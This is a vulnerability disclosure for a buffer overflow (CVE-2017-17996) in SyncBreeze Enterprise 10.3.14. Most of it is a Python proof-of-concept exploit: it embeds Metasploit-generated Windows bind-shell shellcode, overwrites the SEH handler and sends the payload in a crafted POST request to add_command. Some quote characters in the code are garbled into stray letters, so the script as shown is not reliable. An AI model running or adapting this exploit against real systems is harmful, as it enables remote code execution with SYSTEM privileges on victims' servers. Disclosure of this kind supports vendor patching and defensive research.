Flexense SyncBreeze Enterprise 10.3.14 Buffer Overflow

2018.02.03
Credit: ryantzj
Risk: High
Local: Yes
Remote: No
CWE: CWE-119

Hi List, Description: A buffer overflow vulnerability in "Add command" functionality exists in Flexenseas SyncBreeze Enterprise <= 10.3.14. The vulnerability can be triggered by an authenticated attacker who submits more than 5000 characters as the command name. It will cause termination of the SyncBreeze Enterprise server and possibly remote command execution with SYSTEM privilege. Author: @ryantzj www.ryantzj.com Homepage: http://http://www.syncbreeze.com/ CVE-ID: CVE-2017-17996 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17996 CVSSv3 Score: 9.9 CVSSv3 Vector (/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Proof of Concept #!/usr/bin/python import socket buffsize = 5000 #msfvenom -p windows/shell_bind_tcp LPORT=443 EXITFUNC=seh --bad-chars '\x0d\x0a\x00\x27\x22\x08\x09\x1b\x5c\x5f\x25\x26\x3d\x2b' -f python -v shellcode shellcode = "" shellcode += "\x33\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e" shellcode += "\x81\x76\x0e\x93\xfe\x85\x99\x83\xee\xfc\xe2\xf4" shellcode += "\x6f\x16\x07\x99\x93\xfe\xe5\x10\x76\xcf\x45\xfd" shellcode += "\x18\xae\xb5\x12\xc1\xf2\x0e\xcb\x87\x75\xf7\xb1" shellcode += "\x9c\x49\xcf\xbf\xa2\x01\x29\xa5\xf2\x82\x87\xb5" shellcode += "\xb3\x3f\x4a\x94\x92\x39\x67\x6b\xc1\xa9\x0e\xcb" shellcode += "\x83\x75\xcf\xa5\x18\xb2\x94\xe1\x70\xb6\x84\x48" shellcode += "\xc2\x75\xdc\xb9\x92\x2d\x0e\xd0\x8b\x1d\xbf\xd0" shellcode += "\x18\xca\x0e\x98\x45\xcf\x7a\x35\x52\x31\x88\x98" shellcode += "\x54\xc6\x65\xec\x65\xfd\xf8\x61\xa8\x83\xa1\xec" shellcode += "\x77\xa6\x0e\xc1\xb7\xff\x56\xff\x18\xf2\xce\x12" shellcode += "\xcb\xe2\x84\x4a\x18\xfa\x0e\x98\x43\x77\xc1\xbd" shellcode += "\xb7\xa5\xde\xf8\xca\xa4\xd4\x66\x73\xa1\xda\xc3" shellcode += "\x18\xec\x6e\x14\xce\x96\xb6\xab\x93\xfe\xed\xee" shellcode += "\xe0\xcc\xda\xcd\xfb\xb2\xf2\xbf\x94\x01\x50\x21" shellcode += "\x03\xff\x85\x99\xba\x3a\xd1\xc9\xfb\xd7\x05\xf2" shellcode += "\x93\x01\x50\xf3\x9b\xa7\xd5\x7b\x6e\xbe\xd5\xd9" shellcode += "\xc3\x96\x6f\x96\x4c\x1e\x7a\x4c\x04\x96\x87\x99" shellcode += "\x92\x45\x0c\x7f\xf9\xee\xd3\xce\xfb\x3c\x5e\xae" shellcode += "\xf4\x01\x50\xce\xfb\x49\x6c\xa1\x6c\x01\x50\xce" shellcode += "\xfb\x8a\x69\xa2\x72\x01\x50\xce\x04\x96\xf0\xf7" shellcode += "\xde\x9f\x7a\x4c\xfb\x9d\xe8\xfd\x93\x77\x66\xce" shellcode += "\xc4\xa9\xb4\x6f\xf9\xec\xdc\xcf\x71\x03\xe3\x5e" shellcode += "\xd7\xda\xb9\x98\x92\x73\xc1\xbd\x83\x38\x85\xdd" shellcode += "\xc7\xae\xd3\xcf\xc5\xb8\xd3\xd7\xc5\xa8\xd6\xcf" shellcode += "\xfb\x87\x49\xa6\x15\x01\x50\x10\x73\xb0\xd3\xdf" shellcode += "\x6c\xce\xed\x91\x14\xe3\xe5\x66\x46\x45\x7b\x97" shellcode += "\xa1\x14\xed\x3f\x06\x43\x18\x66\x46\xc2\x83\xe5" shellcode += "\x99\x7e\x7e\x79\xe6\xfb\x3e\xde\x80\x8c\xea\xf3" shellcode += "\x93\xad\x7a\x4c" jmp2 = "\xE9\x42\xFE\xFF\xFF" payload = aAa*(432-len(shellcode)-20) #eip offset at 436 payload += "\x90"*12 payload += shellcode payload += "\x90"*8 payload += "\x71\x06\x70\x04" #NSEH, a jump net payload += "\xB1\x41\x01\x10" #SEH payload += "\x90" payload += jmp2 #jmp back to shellcode payload +=aCa*(buffsize) #ends at 83 bytes buffer ="POST /add_command?sid=c5ecca3e01e7d15b0a490fc197f14395 HTTP/1.1\r\n" buffer +="Host: 192.168.38.154\r\n" buffer +="Content-Type: application/x-www-form-urlencoded\r\n" buffer +="User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n" buffer +=aContent-Length: a+str(len(payload)+13)+"\r\n\r\n" buffer +=acommand_name=a+payload print a[*] Sending evil HTTP request to syncbrza print a[*] exploited by @ryantzja print a[*] Please modify session id and target host to get exploit workinga expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect((a192.168.38.154a,80)) expl.send(buffer) print expl.recv(1024) expl.close Disclosure Timeline December 29, 2017 1: Vulnerability acquired by ryantzj December 30, 2017 2: Informed vendor via support@syncbreeze.com January 31, 2018 3: Exploit published Regards, ryantzj


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